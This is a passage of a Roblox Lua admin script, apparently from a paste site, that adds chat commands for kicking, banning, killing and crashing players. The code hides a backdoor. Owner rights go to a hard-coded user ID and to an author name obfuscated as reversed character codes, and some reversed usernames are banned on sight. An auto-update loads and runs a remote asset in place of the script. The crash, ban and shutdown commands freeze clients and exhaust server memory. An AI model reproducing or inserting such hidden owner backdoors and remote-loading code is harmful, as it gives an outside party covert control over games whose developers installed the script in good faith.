  2208. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2209. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2210. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2211. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2212. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2213. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2214. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2215. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2216. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2217. end
  2218.  
  2219. end
  2220.  
  2221. --------------------
  2222. -- Owner Commands --
  2223. --------------------
  2224.  
  2225. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2226.  
  2227. if msg:lower():sub(1,3) == "pa " then
  2228. local plrz = GetPlr(plr, msg:lower():sub(4))
  2229. for i, v in pairs(plrz) do
  2230. coroutine.resume(coroutine.create(function()
  2231. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2232. end))
  2233. end
  2234. end
  2235.  
  2236. if msg:lower():sub(1,5) == "unpa " then
  2237. for i = 1, #admins do
  2238. coroutine.resume(coroutine.create(function()
  2239. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2240. end))
  2241. end
  2242. end
  2243.  
  2244. if msg:lower():sub(1,5) == "nuke " then
  2245. local plrz = GetPlr(plr, msg:lower():sub(6))
  2246. for i, v in pairs(plrz) do
  2247. coroutine.resume(coroutine.create(function()
  2248. if v and v.Character and v.Character:findFirstChild("Torso") then
  2249. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2250. p.Anchored = true
  2251. p.CanCollide = false
  2252. p.formFactor = "Symmetric"
  2253. p.Shape = "Ball"
  2254. p.Size = Vector3.new(1,1,1)
  2255. p.BrickColor = BrickColor.new("New Yeller")
  2256. p.Transparency = .5
  2257. p.Reflectance = .2
  2258. p.TopSurface = 0
  2259. p.BottomSurface = 0
  2260. p.Touched:connect(function(hit)
  2261. if hit and hit.Parent then
  2262. local ex = Instance.new("Explosion", game.Workspace)
  2263. ex.Position = hit.Position
  2264. ex.BlastRadius = 11
  2265. ex.BlastPressure = math.huge
  2266. end
  2267. end)
  2268. local cf = v.Character.Torso.CFrame
  2269. p.CFrame = cf
  2270. for i = 1, 333 do
  2271. p.Size = p.Size + Vector3.new(3,3,3)
  2272. p.CFrame = cf
  2273. wait(1/44)
  2274. end
  2275. p:Destroy()
  2276. end
  2277. end))
  2278. end
  2279. end
  2280.  
  2281. end
  2282.  
  2283. --------------------------
  2284. -- Super Admin Commands --
  2285. --------------------------
  2286.  
  2287. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2288.  
  2289. if msg:lower() == "logs" then
  2290. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2291. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2292. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2293. end
  2294.  
  2295. if msg:lower():sub(1,9) == "loopkill " then
  2296. local chk1 = msg:lower():sub(10):find(" ")
  2297. local plrz = GetPlr(plr, msg:lower():sub(10))
  2298. local num = 9999
  2299. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2300. for i, v in pairs(plrz) do
  2301. if v and not ChkAdmin(v.Name, false) then
  2302. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2303. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2304. for i = 1, ]] .. tostring(num) .. [[ do
  2305. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2306. coroutine.resume(coroutine.create(function()
  2307. if plr and plr.Character then plr.Character:BreakJoints() end
  2308. end))
  2309. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2310. end
  2311. end
  2312. end
  2313.  
  2314. if msg:lower():sub(1,11) == "unloopkill " then
  2315. local plrz = GetPlr(plr, msg:lower():sub(12))
  2316. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2317. end
  2318.  
  2319. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2320. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2321.  
  2322. if msg:lower():sub(1,3) == "sm " then
  2323. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2324. end
  2325.  
  2326. if msg:lower():sub(1,3) == "ko " then
  2327. local chk1 = msg:lower():sub(4):find(" ") + 3
  2328. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2329. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2330. for n = 1, num do
  2331. for i, v in pairs(plrz) do
  2332. coroutine.resume(coroutine.create(function()
  2333. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2334. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2335. v.Character:BreakJoints()
  2336. wait(1/44)
  2337. v:LoadCharacter()
  2338. wait(1/44)
  2339. end
  2340. end))
  2341. end
  2342. end
  2343. end
  2344.  
  2345. if msg:lower():sub(1,6) == "crash " then
  2346. local plrz = GetPlr(plr, msg:lower():sub(7))
  2347. for i, v in pairs(plrz) do
  2348. coroutine.resume(coroutine.create(function()
  2349. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2350. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2351. end
  2352. end))
  2353. end
  2354. end
  2355.  
  2356. if msg:lower():sub(1,5) == "kick " then
  2357. local plrz = GetPlr(plr, msg:lower():sub(6))
  2358. for i, v in pairs(plrz) do
  2359. coroutine.resume(coroutine.create(function()
  2360. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2361. end))
  2362. end
  2363. end
  2364.  
  2365. if msg:lower():sub(1,6) == "admin " then
  2366. local plrz = GetPlr(plr, msg:lower():sub(7))
  2367. for i, v in pairs(plrz) do
  2368. coroutine.resume(coroutine.create(function()
  2369. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2370. end))
  2371. end
  2372. end
  2373.  
  2374. if msg:lower():sub(1,8) == "unadmin " then
  2375. for i = 1, #tempadmins do
  2376. coroutine.resume(coroutine.create(function()
  2377. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2378. end))
  2379. end
  2380. end
  2381.  
  2382. if msg:lower():sub(1,4) == "ban " then
  2383. local plrz = GetPlr(plr, msg:lower():sub(5))
  2384. for i, v in pairs(plrz) do
  2385. coroutine.resume(coroutine.create(function()
  2386. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2387. end))
  2388. end
  2389. end
  2390.  
  2391. if msg:lower():sub(1,6) == "unban " then
  2392. for i = 1, #banland do
  2393. coroutine.resume(coroutine.create(function()
  2394. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2395. end))
  2396. end
  2397. end
  2398.  
  2399. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2400.  
  2401. end
  2402. end))
  2403. end
  2404.  
  2405. function AdminControl(plr)
  2406. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2407. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2408. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2409. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2410. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2411. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2412. end)) end
  2413. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2414. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2415. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2416. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2417. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2418. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2419. end
  2420.  
  2421. if not ntab then script:Destroy() end
  2422. if not bct then script:Destroy() end
  2423.  
  2424. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2425.  
  2426. script.Name = "Kohl's Admin Commands V2"
  2427.  
  2428. if not ntab then script:Destroy() end
  2429. if not bct then script:Destroy() end
  2430. if not tcb then script:Destroy() end
  2431. game.Players.PlayerAdded:connect(AdminControl)
  2432. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2433. end
  2434.  
  2435. local mod = game:service("InsertService"):LoadAsset(100808216)
  2436. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2437. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2438. newac.Disabled = true
  2439. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2440. local old = 0
  2441. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2442. if new > old then
  2443. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2444. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2445. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2446. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2447. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2448. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2449. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2450. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2451. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2452. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2453. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2454. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2455. wait()
  2456. newac.Parent = game.Workspace
  2457. newac.Disabled = false
  2458. script.Disabled = true
  2459. script:Destroy()
  2460. else
  2461. CHEESE()
  2462. end
  2463. else
  2464. CHEESE()
  2465. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement